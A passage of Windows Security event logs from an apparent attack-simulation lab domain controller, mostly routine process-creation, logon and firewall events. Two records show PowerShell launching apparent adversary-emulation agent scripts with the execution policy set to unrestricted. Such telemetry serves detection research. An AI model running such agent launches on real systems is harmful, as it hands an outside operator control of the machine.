TaskCategory=Process Creation
OpCode=Info
RecordNumber=253618
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x260
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k DcomLaunch

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253617
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253616
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253655
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x950
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5024
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Other System Events
OpCode=Info
RecordNumber=253654
Keywords=Audit Success
Message=The Windows Firewall service started successfully.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253653
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x918
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x900
	Creator Process Name:	C:\Windows\System32\CompatTelRunner.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253652
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x900
	New Process Name:	C:\Windows\System32\CompatTelRunner.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\compattelrunner.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253651
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8dc
	New Process Name:	C:\Windows\System32\taskhostw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	taskhostw.exe TpmTasks

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253650
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8bc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x82c
	Creator Process Name:	C:\Windows\System32\RemoteFXvGPUDisablement.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253649
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8ac
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x864
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253648
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8a4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x7bc
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=253647
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5d8
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=253646
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5d8
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253645
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x864
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_agent.ps1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253644
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x82c
	New Process Name:	C:\Windows\System32\RemoteFXvGPUDisablement.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\System32\RemoteFXvGPUDisablement.exe Disable

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253643
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7bc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_manx_agent.ps1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5033
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Other System Events
OpCode=Info
RecordNumber=253642
Keywords=Audit Success
Message=The Windows Firewall Driver started successfully.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253641
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	New Process ID:		0x668
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253640
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5d8
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k netsvcs

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253639
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253638
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253637
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	New Process ID:		0x5ac
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253636
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x534
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k NetworkService

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253635
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4bc
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
